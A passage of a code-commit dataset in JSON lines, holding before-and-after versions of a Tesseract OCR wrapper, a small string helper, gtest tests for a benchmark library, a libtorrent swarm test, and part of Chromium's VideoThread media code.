TESSERACT + \"\\\"!\");\n\n    if (not language_codes.empty() and language_codes.length() < 3)\n        throw std::runtime_error(\"in OCR: incorrect language code \\\"\" + language_codes + \"\\\"!\");\n\n    std::vector<std::string> args{ TESSERACT, input_document_path, \"stdout\" };\n    if (not language_codes.empty()) {\n        args.emplace_back(\"-l\");\n        args.emplace_back(language_codes);\n    }\n\n    return ExecUtil::Exec(TESSERACT, args, \"\", output_document_path, \"\", TIMEOUT) == 0;\n}\n\n\nint OCR(const std::string &input_document_path, const std::string &language_codes, std::string * const output) {\n    const FileUtil::AutoTempFile auto_temp_file;\n    const std::string &output_filename(auto_temp_file.getFilePath());\n    const int retval = OCR(input_document_path, output_filename, language_codes);\n    if (retval == 0) {\n        if (not ReadFile(output_filename, output))\n            return -1;\n    }\n\n    return retval;\n}\n\n\nint OCR(const std::string &input_document, std::string * const output, const std::string &language_codes) {\n    const FileUtil::AutoTempFile auto_temp_file;\n    const std::string input_filename(auto_temp_file.getFilePath());\n    std::ofstream ocr_input(input_filename);\n    if (ocr_input.fail())\n        return -1;\n    ocr_input.write(input_document.data(), input_document.size());\n    if (ocr_input.fail())\n        return -1;\n\n    return OCR(input_filename, output, language_codes);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/ Useful conversion in visual studio \nconst char* toConstChar(std::string strg)\n{\n  return strg.c_str();\n}\n<commit_msg>Update stringopps.cpp<commit_after>\/\/\/ Useful conversion in visual studio \nconst char* toConstChar(std::string strg)\n{\n  return strg.c_str();\n}\n\n\/\/ Tracex howto\nvoid printTracex()\n{\nTRACEX_MESSAGE(\"NBSTR: %ls, stdString: %s\",         \n         bstrSting,\n         strg.c_str();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"geiger\/benchmark.h\"\n\n#include <gtest\/gtest.h>\n\nstruct Basic : public ::testing::Test\n{\n    static void SetUpTestCase()\n    {\n        geiger::init();\n    }\n\n    Basic()\n    {\n        m_suite.on_test_complete([this](const std::string&, const geiger::test_report&) { ++m_on_test_complete_calls; });\n        m_suite.on_complete([this](const geiger::suite_report&) { ++m_on_complete_calls; });\n    }\n\nprotected:\n    geiger::suite<> m_suite;\n    int m_on_test_complete_calls = 0;\n    int m_on_complete_calls = 0;\n};\n\nTEST_F(Basic, NoTest)\n{\n    m_suite.run();\n\n    ASSERT_EQ(0, m_on_test_complete_calls);\n    ASSERT_EQ(1, m_on_complete_calls);\n}\n\nTEST_F(Basic, OneTest_Lambda)\n{\n    m_suite.add(\"foo\", []() { });\n    m_suite.run();\n\n    ASSERT_EQ(1, m_on_test_complete_calls);\n    ASSERT_EQ(1, m_on_complete_calls);\n}\n\nTEST_F(Basic, TwoTests_Lambda)\n{\n    m_suite.add(\"foo\", []() { });\n    m_suite.add(\"bar\", []() { });\n    m_suite.run();\n\n    ASSERT_EQ(2, m_on_test_complete_calls);\n    ASSERT_EQ(1, m_on_complete_calls);\n}\n\nTEST_F(Basic, TwoTests_RunTwice)\n{\n    m_suite.add(\"foo\", []() { });\n    m_suite.add(\"bar\", []() { });\n    m_suite.run();\n    m_suite.run();\n\n    ASSERT_EQ(4, m_on_test_complete_calls);\n    ASSERT_EQ(2, m_on_complete_calls);\n}\n<commit_msg>Adding more basic unit tests<commit_after>#include \"geiger\/benchmark.h\"\n\n#include <gtest\/gtest.h>\n\nstruct Basic : public ::testing::Test\n{\n    static void SetUpTestCase()\n    {\n        geiger::init();\n    }\n\n    Basic()\n    {\n        m_suite.on_test_complete([this](const std::string&, const geiger::test_report&) { ++m_on_test_complete_calls; });\n        m_suite.on_complete([this](const geiger::suite_report&) { ++m_on_complete_calls; });\n    }\n\nprotected:\n    geiger::suite<> m_suite;\n    int m_on_test_complete_calls = 0;\n    int m_on_complete_calls = 0;\n};\n\nTEST_F(Basic, NoTest)\n{\n    m_suite.run();\n\n    ASSERT_EQ(0, m_on_test_complete_calls);\n    ASSERT_EQ(1, m_on_complete_calls);\n}\n\nTEST_F(Basic, OneTest_Lambda)\n{\n    m_suite.add(\"foo\", []() { });\n    m_suite.run();\n\n    ASSERT_EQ(1, m_on_test_complete_calls);\n    ASSERT_EQ(1, m_on_complete_calls);\n}\n\nTEST_F(Basic, TwoTests_Lambda)\n{\n    m_suite.add(\"foo\", []() { });\n    m_suite.add(\"bar\", []() { });\n    m_suite.run();\n\n    ASSERT_EQ(2, m_on_test_complete_calls);\n    ASSERT_EQ(1, m_on_complete_calls);\n}\n\nTEST_F(Basic, TwoTests_RunTwice)\n{\n    m_suite.add(\"foo\", []() { });\n    m_suite.add(\"bar\", []() { });\n    m_suite.run();\n    m_suite.run();\n\n    ASSERT_EQ(4, m_on_test_complete_calls);\n    ASSERT_EQ(2, m_on_complete_calls);\n}\n\nTEST_F(Basic, OneTest_CorrectName)\n{\n    m_suite.add(\"foo\", []() { });\n    m_suite.on_test_complete([this](const std::string& name, const geiger::test_report&)\n    {\n        ASSERT_EQ(\"foo\", name);\n\n    });\n    m_suite.run();\n}\n\nTEST_F(Basic, OneTest_NoPAPICounter)\n{\n    m_suite.add(\"foo\", []() { });\n    m_suite.on_test_complete([this](const std::string&, const geiger::test_report& report)\n    {\n        ASSERT_EQ(0, report.papi_counters().size());\n\n    });\n    m_suite.run();\n}\n\nTEST_F(Basic, TwoTests_CorrectOrderReports)\n{\n    m_suite.add(\"foo\", []() { });\n    m_suite.add(\"bar\", []() { });\n    m_suite.on_test_complete([this](const std::string& name, const geiger::test_report&)\n    {\n        static int i = 0;\n\n        if (i++ == 0)\n            ASSERT_EQ(\"foo\", name);\n        else\n            ASSERT_EQ(\"bar\", name);\n\n    });\n    m_suite.run();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/session.hpp\"\n#include \"libtorrent\/session_settings.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n#include \"libtorrent\/thread.hpp\"\n#include \"libtorrent\/time.hpp\"\n#include <boost\/tuple\/tuple.hpp>\n\n#include \"test.hpp\"\n#include \"setup_transfer.hpp\"\n#include <iostream>\n\nvoid test_swarm(bool super_seeding = false, bool strict = false, bool seed_mode = false, bool time_critical = false)\n{\n\tusing namespace libtorrent;\n\n\t\/\/ in case the previous run was terminated\n\terror_code ec;\n\tremove_all(\"tmp1_swarm\", ec);\n\tremove_all(\"tmp2_swarm\", ec);\n\tremove_all(\"tmp3_swarm\", ec);\n\n\t\/\/ these are declared before the session objects\n\t\/\/ so that they are destructed last. This enables\n\t\/\/ the sessions to destruct in parallel\n\tsession_proxy p1;\n\tsession_proxy p2;\n\tsession_proxy p3;\n\n\tsession ses1(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(48000, 49000), \"0.0.0.0\", 0);\n\tsession ses2(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(49000, 50000), \"0.0.0.0\", 0);\n\tsession ses3(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(50000, 51000), \"0.0.0.0\", 0);\n\n\t\/\/ this is to avoid everything finish from a single peer\n\t\/\/ immediately. To make the swarm actually connect all\n\t\/\/ three peers before finishing.\n\tfloat rate_limit = 100000;\n\n\tsession_settings settings;\n\tsettings.allow_multiple_connections_per_ip = true;\n\tsettings.ignore_limits_on_local_network = false;\n\tsettings.strict_super_seeding = strict;\n\n\tsettings.upload_rate_limit = rate_limit;\n\tses1.set_settings(settings);\n\n\tsettings.download_rate_limit = rate_limit \/ 2;\n\tsettings.upload_rate_limit = rate_limit;\n\tses2.set_settings(settings);\n\tses3.set_settings(settings);\n\n#ifndef TORRENT_DISABLE_ENCRYPTION\n\tpe_settings pes;\n\tpes.out_enc_policy = pe_settings::forced;\n\tpes.in_enc_policy = pe_settings::forced;\n\tses1.set_pe_settings(pes);\n\tses2.set_pe_settings(pes);\n\tses3.set_pe_settings(pes);\n#endif\n\n\ttorrent_handle tor1;\n\ttorrent_handle tor2;\n\ttorrent_handle tor3;\n\n\tadd_torrent_params p;\n\tp.flags |= add_torrent_params::flag_seed_mode;\n\t\/\/ test using piece sizes smaller than 16kB\n\tboost::tie(tor1, tor2, tor3) = setup_transfer(&ses1, &ses2, &ses3, true\n\t\t, false, true, \"_swarm\", 8 * 1024, 0, super_seeding, &p);\n\n\tint mask = alert::all_categories & ~(alert::progress_notification | alert::performance_warning | alert::stats_notification);\n\tses1.set_alert_mask(mask);\n\tses2.set_alert_mask(mask);\n\tses3.set_alert_mask(mask);\n\n\tif (time_critical)\n\t{\n\t\ttor2.set_piece_deadline(2, 0);\n\t\ttor2.set_piece_deadline(5, 1000);\n\t\ttor2.set_piece_deadline(8, 2000);\n\t}\n\n\tfloat sum_dl_rate2 = 0.f;\n\tfloat sum_dl_rate3 = 0.f;\n\tint count_dl_rates2 = 0;\n\tint count_dl_rates3 = 0;\n\n\tfor (int i = 0; i < 80; ++i)\n\t{\n\t\tprint_alerts(ses1, \"ses1\");\n\t\tprint_alerts(ses2, \"ses2\");\n\t\tprint_alerts(ses3, \"ses3\");\n\n\t\ttorrent_status st1 = tor1.status();\n\t\ttorrent_status st2 = tor2.status();\n\t\ttorrent_status st3 = tor3.status();\n\n\t\tif (st2.progress < 1.f && st2.progress > 0.5f)\n\t\t{\n\t\t\tsum_dl_rate2 += st2.download_payload_rate;\n\t\t\t++count_dl_rates2;\n\t\t}\n\t\tif (st3.progress < 1.f && st3.progress > 0.5f)\n\t\t{\n\t\t\tsum_dl_rate3 += st3.download_rate;\n\t\t\t++count_dl_rates3;\n\t\t}\n\n\t\tprint_ses_rate(i, &st1, &st2, &st3);\n\n\t\tif (st2.is_seeding && st3.is_seeding) break;\n\t\ttest_sleep(1000);\n\t}\n\n\tTEST_CHECK(tor2.status().is_seeding);\n\tTEST_CHECK(tor3.status().is_seeding);\n\n\tfloat average2 = sum_dl_rate2 \/ float(count_dl_rates2);\n\tfloat average3 = sum_dl_rate3 \/ float(count_dl_rates3);\n\n\tstd::cerr << average2 << std::endl;\n\tstd::cerr << \"average rate: \" << (average2 \/ 1000.f) << \"kB\/s - \"\n\t\t<< (average3 \/ 1000.f) << \"kB\/s\" << std::endl;\n\n\tif (tor2.status().is_seeding && tor3.status().is_seeding) std::cerr << \"done\\n\";\n\n\t\/\/ make sure the files are deleted\n\tses1.remove_torrent(tor1, session::delete_files);\n\tses2.remove_torrent(tor2, session::delete_files);\n\tses3.remove_torrent(tor3, session::delete_files);\n\n\tstd::auto_ptr<alert> a = ses1.pop_alert();\n\tptime end = time_now() + seconds(20);\n\twhile (a.get() == 0 || dynamic_cast<torrent_deleted_alert*>(a.get()) == 0)\n\t{\n\t\tif (ses1.wait_for_alert(end - time_now()) == 0)\n\t\t{\n\t\t\tstd::cerr << \"wait_for_alert() expired\" << std::endl;\n\t\t\tbreak;\n\t\t}\n\t\ta = ses1.pop_alert();\n\t\tassert(a.get());\n\t\tstd::cerr << a->message() << std::endl;\n\t}\n\n\tTEST_CHECK(dynamic_cast<torrent_deleted_alert*>(a.get()) != 0);\n\n\t\/\/ there shouldn't be any alerts generated from now on\n\t\/\/ make sure that the timer in wait_for_alert() works\n\t\/\/ this should time out (ret == 0) and it should take\n\t\/\/ about 2 seconds\n\tptime start = time_now_hires();\n\talert const* ret;\n\twhile ((ret = ses1.wait_for_alert(seconds(2))))\n\t{\n\t\ta = ses1.pop_alert();\n\t\tstd::cerr << ret->message() << std::endl;\n\t\tstart = time_now();\n\t}\n\n\t\/\/ this allows shutting down the sessions in parallel\n\tp1 = ses1.abort();\n\tp2 = ses2.abort();\n\tp3 = ses3.abort();\n\n\tTEST_CHECK(time_now_hires() - start < seconds(3));\n\tTEST_CHECK(time_now_hires() - start >= seconds(2));\n\n\tTEST_CHECK(!exists(\"tmp1_swarm\/temporary\"));\n\tTEST_CHECK(!exists(\"tmp2_swarm\/temporary\"));\n\tTEST_CHECK(!exists(\"tmp3_swarm\/temporary\"));\n\n\tremove_all(\"tmp1_swarm\", ec);\n\tremove_all(\"tmp2_swarm\", ec);\n\tremove_all(\"tmp3_swarm\", ec);\n}\n\nint test_main()\n{\n\tusing namespace libtorrent;\n\n\t\/\/ with time critical pieces\n\ttest_swarm(false, false, false, true);\n\n\t\/\/ with seed mode\n\ttest_swarm(false, false, true);\n\n\ttest_swarm();\n\n\t\/\/ with super seeding\n\ttest_swarm(true);\n\t\n\t\/\/ with strict super seeding\n\ttest_swarm(true, true);\n\n\treturn 0;\n}\n\n<commit_msg>make super seeding test stricter<commit_after>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/session.hpp\"\n#include \"libtorrent\/session_settings.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n#include \"libtorrent\/thread.hpp\"\n#include \"libtorrent\/time.hpp\"\n#include <boost\/tuple\/tuple.hpp>\n\n#include \"test.hpp\"\n#include \"setup_transfer.hpp\"\n#include <iostream>\n\nvoid test_swarm(bool super_seeding = false, bool strict = false, bool seed_mode = false, bool time_critical = false)\n{\n\tusing namespace libtorrent;\n\n\t\/\/ in case the previous run was terminated\n\terror_code ec;\n\tremove_all(\"tmp1_swarm\", ec);\n\tremove_all(\"tmp2_swarm\", ec);\n\tremove_all(\"tmp3_swarm\", ec);\n\n\t\/\/ these are declared before the session objects\n\t\/\/ so that they are destructed last. This enables\n\t\/\/ the sessions to destruct in parallel\n\tsession_proxy p1;\n\tsession_proxy p2;\n\tsession_proxy p3;\n\n\tsession ses1(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(48000, 49000), \"0.0.0.0\", 0);\n\tsession ses2(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(49000, 50000), \"0.0.0.0\", 0);\n\tsession ses3(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(50000, 51000), \"0.0.0.0\", 0);\n\n\t\/\/ this is to avoid everything finish from a single peer\n\t\/\/ immediately. To make the swarm actually connect all\n\t\/\/ three peers before finishing.\n\tfloat rate_limit = 100000;\n\n\tsession_settings settings;\n\tsettings.allow_multiple_connections_per_ip = true;\n\tsettings.ignore_limits_on_local_network = false;\n\tsettings.strict_super_seeding = strict;\n\n\tsettings.upload_rate_limit = rate_limit;\n\tses1.set_settings(settings);\n\n\tsettings.download_rate_limit = rate_limit \/ 2;\n\tsettings.upload_rate_limit = rate_limit;\n\tses2.set_settings(settings);\n\tses3.set_settings(settings);\n\n#ifndef TORRENT_DISABLE_ENCRYPTION\n\tpe_settings pes;\n\tpes.out_enc_policy = pe_settings::forced;\n\tpes.in_enc_policy = pe_settings::forced;\n\tses1.set_pe_settings(pes);\n\tses2.set_pe_settings(pes);\n\tses3.set_pe_settings(pes);\n#endif\n\n\ttorrent_handle tor1;\n\ttorrent_handle tor2;\n\ttorrent_handle tor3;\n\n\tadd_torrent_params p;\n\tp.flags |= add_torrent_params::flag_seed_mode;\n\t\/\/ test using piece sizes smaller than 16kB\n\tboost::tie(tor1, tor2, tor3) = setup_transfer(&ses1, &ses2, &ses3, true\n\t\t, false, true, \"_swarm\", 8 * 1024, 0, super_seeding, &p);\n\n\tint mask = alert::all_categories & ~(alert::progress_notification | alert::performance_warning | alert::stats_notification);\n\tses1.set_alert_mask(mask);\n\tses2.set_alert_mask(mask);\n\tses3.set_alert_mask(mask);\n\n\tif (time_critical)\n\t{\n\t\ttor2.set_piece_deadline(2, 0);\n\t\ttor2.set_piece_deadline(5, 1000);\n\t\ttor2.set_piece_deadline(8, 2000);\n\t}\n\n\tfloat sum_dl_rate2 = 0.f;\n\tfloat sum_dl_rate3 = 0.f;\n\tint count_dl_rates2 = 0;\n\tint count_dl_rates3 = 0;\n\n\tfor (int i = 0; i < 80; ++i)\n\t{\n\t\tprint_alerts(ses1, \"ses1\");\n\t\tprint_alerts(ses2, \"ses2\");\n\t\tprint_alerts(ses3, \"ses3\");\n\n\t\ttorrent_status st1 = tor1.status();\n\t\ttorrent_status st2 = tor2.status();\n\t\ttorrent_status st3 = tor3.status();\n\n\t\tif (super_seeding)\n\t\t{\n\t\t\tTEST_CHECK(st1.is_seeding);\n\t\t\tTEST_CHECK(st1.super_seeding);\n\t\t}\n\n\t\tif (st2.progress < 1.f && st2.progress > 0.5f)\n\t\t{\n\t\t\tsum_dl_rate2 += st2.download_payload_rate;\n\t\t\t++count_dl_rates2;\n\t\t}\n\t\tif (st3.progress < 1.f && st3.progress > 0.5f)\n\t\t{\n\t\t\tsum_dl_rate3 += st3.download_rate;\n\t\t\t++count_dl_rates3;\n\t\t}\n\n\t\tprint_ses_rate(i, &st1, &st2, &st3);\n\n\t\tif (st2.is_seeding && st3.is_seeding) break;\n\t\ttest_sleep(1000);\n\t}\n\n\tTEST_CHECK(tor2.status().is_seeding);\n\tTEST_CHECK(tor3.status().is_seeding);\n\n\tfloat average2 = sum_dl_rate2 \/ float(count_dl_rates2);\n\tfloat average3 = sum_dl_rate3 \/ float(count_dl_rates3);\n\n\tstd::cerr << average2 << std::endl;\n\tstd::cerr << \"average rate: \" << (average2 \/ 1000.f) << \"kB\/s - \"\n\t\t<< (average3 \/ 1000.f) << \"kB\/s\" << std::endl;\n\n\tif (tor2.status().is_seeding && tor3.status().is_seeding) std::cerr << \"done\\n\";\n\n\t\/\/ make sure the files are deleted\n\tses1.remove_torrent(tor1, session::delete_files);\n\tses2.remove_torrent(tor2, session::delete_files);\n\tses3.remove_torrent(tor3, session::delete_files);\n\n\tstd::auto_ptr<alert> a = ses1.pop_alert();\n\tptime end = time_now() + seconds(20);\n\twhile (a.get() == 0 || dynamic_cast<torrent_deleted_alert*>(a.get()) == 0)\n\t{\n\t\tif (ses1.wait_for_alert(end - time_now()) == 0)\n\t\t{\n\t\t\tstd::cerr << \"wait_for_alert() expired\" << std::endl;\n\t\t\tbreak;\n\t\t}\n\t\ta = ses1.pop_alert();\n\t\tassert(a.get());\n\t\tstd::cerr << a->message() << std::endl;\n\t}\n\n\tTEST_CHECK(dynamic_cast<torrent_deleted_alert*>(a.get()) != 0);\n\n\t\/\/ there shouldn't be any alerts generated from now on\n\t\/\/ make sure that the timer in wait_for_alert() works\n\t\/\/ this should time out (ret == 0) and it should take\n\t\/\/ about 2 seconds\n\tptime start = time_now_hires();\n\talert const* ret;\n\twhile ((ret = ses1.wait_for_alert(seconds(2))))\n\t{\n\t\ta = ses1.pop_alert();\n\t\tstd::cerr << ret->message() << std::endl;\n\t\tstart = time_now();\n\t}\n\n\t\/\/ this allows shutting down the sessions in parallel\n\tp1 = ses1.abort();\n\tp2 = ses2.abort();\n\tp3 = ses3.abort();\n\n\tTEST_CHECK(time_now_hires() - start < seconds(3));\n\tTEST_CHECK(time_now_hires() - start >= seconds(2));\n\n\tTEST_CHECK(!exists(\"tmp1_swarm\/temporary\"));\n\tTEST_CHECK(!exists(\"tmp2_swarm\/temporary\"));\n\tTEST_CHECK(!exists(\"tmp3_swarm\/temporary\"));\n\n\tremove_all(\"tmp1_swarm\", ec);\n\tremove_all(\"tmp2_swarm\", ec);\n\tremove_all(\"tmp3_swarm\", ec);\n}\n\nint test_main()\n{\n\tusing namespace libtorrent;\n\n\t\/\/ with time critical pieces\n\ttest_swarm(false, false, false, true);\n\n\t\/\/ with seed mode\n\ttest_swarm(false, false, true);\n\n\ttest_swarm();\n\n\t\/\/ with super seeding\n\ttest_swarm(true);\n\t\n\t\/\/ with strict super seeding\n\ttest_swarm(true, true);\n\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#include \"media\/base\/buffers.h\"\n#include \"media\/base\/filter_host.h\"\n#include \"media\/filters\/video_thread.h\"\n\nnamespace media {\n\n\/\/ Limit our read ahead to three frames.  One frame is typically in flux at all\n\/\/ times, as in frame n is discarded at the top of ThreadMain() while frame\n\/\/ (n + kMaxFrames) is being asynchronously fetched.  The remaining two frames\n\/\/ allow us to advance the current frame as well as read the timestamp of the\n\/\/ following frame for more accurate timing.\n\/\/\n\/\/ Increasing this number beyond 3 simply creates a larger buffer to work with\n\/\/ at the expense of memory (~0.5MB and ~1.3MB per frame for 480p and 720p\n\/\/ resolutions, respectively).  This can help on lower-end systems if there are\n\/\/ difficult sections in the movie and decoding slows down.\nstatic const size_t kMaxFrames = 3;\n\n\/\/ Sleeping for negative amounts actually hangs your thread on Windows!\nstatic const int64 kMinSleepMilliseconds = 0;\n\n\/\/ This equates to ~13.33 fps, which is just under the typical 15 fps that lower\n\/\/ quality cameras or shooting modes usually use for video encoding.\nstatic const int64 kMaxSleepMilliseconds = 75;\n\nVideoThread::VideoThread()\n    : frame_available_(&lock_),\n      state_(UNINITIALIZED),\n      thread_(NULL),\n      playback_rate_(0) {\n}\n\nVideoThread::~VideoThread() {\n  AutoLock auto_lock(lock_);\n  DCHECK(state_ == UNINITIALIZED || state_ == STOPPED);\n}\n\n\/\/ static\nbool VideoThread::ParseMediaFormat(const media::MediaFormat& media_format,\n                                   int* width_out, int* height_out) {\n  std::string mime_type;\n  if (!media_format.GetAsString(media::MediaFormat::kMimeType, &mime_type))\n    return false;\n  if (mime_type.compare(media::mime_type::kUncompressedVideo) != 0)\n    return false;\n  if (!media_format.GetAsInteger(media::MediaFormat::kWidth, width_out))\n    return false;\n  if (!media_format.GetAsInteger(media::MediaFormat::kHeight, height_out))\n    return false;\n  return true;\n}\n\nvoid VideoThread::Stop() {\n  AutoLock auto_lock(lock_);\n  state_ = STOPPED;\n  if (thread_) {\n    \/\/ Signal the thread since it's possible to get stopped with the video\n    \/\/ thread waiting for a read to complete.\n    frame_available_.Signal();\n    {\n      AutoUnlock auto_unlock(lock_);\n      PlatformThread::Join(thread_);\n    }\n    thread_ = NULL;\n  }\n}\n\nvoid VideoThread::SetPlaybackRate(float playback_rate) {\n  AutoLock auto_lock(lock_);\n  playback_rate_ = playback_rate;\n}\n\nvoid VideoThread::Seek(base::TimeDelta time) {\n  \/\/ Do nothing.\n}\n\nbool VideoThread::Initialize(VideoDecoder* decoder) {\n  AutoLock auto_lock(lock_);\n  DCHECK_EQ(state_, UNINITIALIZED);\n  state_ = INITIALIZING;\n  decoder_ = decoder;\n\n  \/\/ Notify the pipeline of the video dimensions.\n  int width = 0;\n  int height = 0;\n  if (!ParseMediaFormat(decoder->media_format(), &width, &height))\n    return false;\n  host_->SetVideoSize(width, height);\n\n  \/\/ Initialize the subclass.\n  \/\/ TODO(scherkus): do we trust subclasses not to do something silly while\n  \/\/ we're holding the lock?\n  if (!OnInitialize(decoder))\n    return false;\n\n  \/\/ Create our video thread.\n  if (!PlatformThread::Create(0, this, &thread_)) {\n    NOTREACHED() << \"Video thread creation failed\";\n    return false;\n  }\n\n#if defined(OS_WIN)\n  \/\/ Bump up our priority so our sleeping is more accurate.\n  \/\/ TODO(scherkus): find out if this is necessary, but it seems to help.\n  ::SetThreadPriority(thread_, THREAD_PRIORITY_ABOVE_NORMAL);\n#endif  \/\/ defined(OS_WIN)\n\n  \/\/ Queue initial reads.\n  for (size_t i = 0; i < kMaxFrames; ++i) {\n    ScheduleRead();\n  }\n\n  return true;\n}\n\n\/\/ PlatformThread::Delegate implementation.\nvoid VideoThread::ThreadMain() {\n  PlatformThread::SetName(\"VideoThread\");\n\n  \/\/ Wait to be initialized so we can notify the first frame is available.\n  if (!WaitForInitialized())\n    return;\n  OnFrameAvailable();\n\n  for (;;) {\n    \/\/ State and playback rate to assume for this iteration of the loop.\n    State state;\n    float playback_rate;\n    {\n      AutoLock auto_lock(lock_);\n      state = state_;\n      playback_rate = playback_rate_;\n    }\n    if (state == STOPPED) {\n      return;\n    }\n    DCHECK_EQ(state, INITIALIZED);\n\n    \/\/ Sleep for 10 milliseconds while paused.\n    if (playback_rate == 0) {\n      PlatformThread::Sleep(10);\n      continue;\n    }\n\n    \/\/ Advance |current_frame_| and try to determine |next_frame|.\n    scoped_refptr<VideoFrame> next_frame;\n    {\n      AutoLock auto_lock(lock_);\n      DCHECK(!frames_.empty());\n      DCHECK_EQ(current_frame_, frames_.front());\n      frames_.pop_front();\n      ScheduleRead();\n      while (frames_.empty()) {\n        frame_available_.Wait();\n\n        \/\/ We have the lock again, check the actual state to see if we're trying\n        \/\/ to stop.\n        if (state_ == STOPPED) {\n          return;\n        }\n      }\n      current_frame_ = frames_.front();\n      if (frames_.size() >= 2) {\n        next_frame = frames_[1];\n      }\n    }\n\n    \/\/ Notify subclass that |current_frame_| has been updated.\n    OnFrameAvailable();\n\n    \/\/ Determine the current and next presentation timestamps.\n    base::TimeDelta now = host_->GetPipelineStatus()->GetTime();\n    base::TimeDelta this_pts = current_frame_->GetTimestamp();\n    base::TimeDelta next_pts;\n    if (next_frame) {\n      next_pts = next_frame->GetTimestamp();\n    } else {\n      next_pts = this_pts + current_frame_->GetDuration();\n    }\n\n    \/\/ Determine our sleep duration based on whether time advanced.\n    base::TimeDelta sleep;\n    if (now == previous_time_) {\n      \/\/ Time has not changed, assume we sleep for the frame's duration.\n      sleep = next_pts - this_pts;\n    } else {\n      \/\/ Time has changed, figure out real sleep duration.\n      sleep = next_pts - now;\n      previous_time_ = now;\n    }\n\n    \/\/ Scale our sleep based on the playback rate.\n    \/\/ TODO(scherkus): floating point badness and degrade gracefully.\n    int sleep_ms = static_cast<int>(sleep.InMicroseconds() \/ playback_rate \/\n        base::Time::kMicrosecondsPerMillisecond);\n\n    \/\/ To be safe, limit our sleep duration.\n    \/\/ TODO(scherkus): handle seeking gracefully.. right now a seek backwards\n    \/\/ will hit kMinSleepMilliseconds whereas a seek forward will hit\n    \/\/ kMaxSleepMilliseconds.\n    if (sleep_ms < kMinSleepMilliseconds)\n      sleep_ms = kMinSleepMilliseconds;\n    else if (sleep_ms > kMaxSleepMilliseconds)\n      sleep_ms = kMaxSleepMilliseconds;\n\n    PlatformThread::Sleep(sleep_ms);\n  }\n}\n\nvoid VideoThread::GetCurrentFrame(scoped_refptr<media::VideoFrame>* frame_out) {\n  AutoLock auto_lock(lock_);\n  DCHECK_EQ(state_, INITIALIZED);\n  DCHECK(current_frame_);\n  *frame_out = current_frame_;\n}\n\nvoid VideoThread::OnReadComplete(VideoFrame* frame) {\n  AutoLock auto_lock(lock_);\n  frames_.push_back(frame);\n  DCHECK_LE(frames_.size(), kMaxFrames);\n\n  \/\/ Check for our initialization condition.\n  if (state_ == INITIALIZING && frames_.size() == kMaxFrames) {\n    state_ = INITIALIZED;\n    current_frame_ = frames_.front();\n    host_->InitializationComplete();\n  }\n\n  frame_available_.Signal();\n}\n\nvoid VideoThread::ScheduleRead() {\n  host_->PostTask(\n      